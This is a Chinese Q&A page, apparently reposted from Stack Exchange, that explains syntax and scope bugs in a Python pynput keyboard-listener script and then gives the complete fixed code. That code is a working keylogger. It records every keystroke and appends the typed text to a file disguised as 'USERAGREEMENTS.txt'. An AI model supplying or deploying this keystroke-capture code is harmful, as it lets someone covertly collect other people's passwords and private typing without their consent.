You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python pynput键盘监听代码write_file函数无法创建写入文件问题求助

问题原因分析
  • 变量名不匹配:初始化时定义的全局变量为大写开头的Keys,但on_press函数中声明的全局变量为小写的keys,变量名不一致导致读写全局变量失败。
  • 语法缺失:if count >= 5后缺失Python判断语句必须的冒号:,代码运行直接报错无法执行后续逻辑。
  • 函数定义位置错误:write_file函数被定义在on_press函数的内部if代码块中,仅当第一次触发count >=5的条件时才会被定义,且作用域仅在当前if块内,外部无法正常调用该函数。
  • 语法缺失:字符串替换语句str(key).replace("'" ",")的两个参数之间缺少逗号分隔,语法错误无法运行。
  • 函数重复定义:后续重复定义了无计数、写文件逻辑的on_press函数,直接覆盖了之前写好业务逻辑的on_press,导致核心逻辑完全没有执行。
修复方案
  1. 统一全局变量名为小写keys
  2. 补全if count >= 5后的冒号
  3. 将write_file函数移到全局作用域,和on_press、on_release同级
  4. 补全字符串替换语句的参数分隔逗号,优化替换逻辑为去掉按键字符串前后的单引号
  5. 删除重复定义的空on_press函数
  6. 补充文件打开编码声明避免乱码问题
修复后完整代码
import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def write_file(keys):
    with open("USERAGREEMENTS.txt", "a", encoding="utf-8") as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 5:
        count = 0
        write_file(keys)
        keys = []

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

内容的提问来源于stack exchange,提问作者coldixi

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.24 09:27:01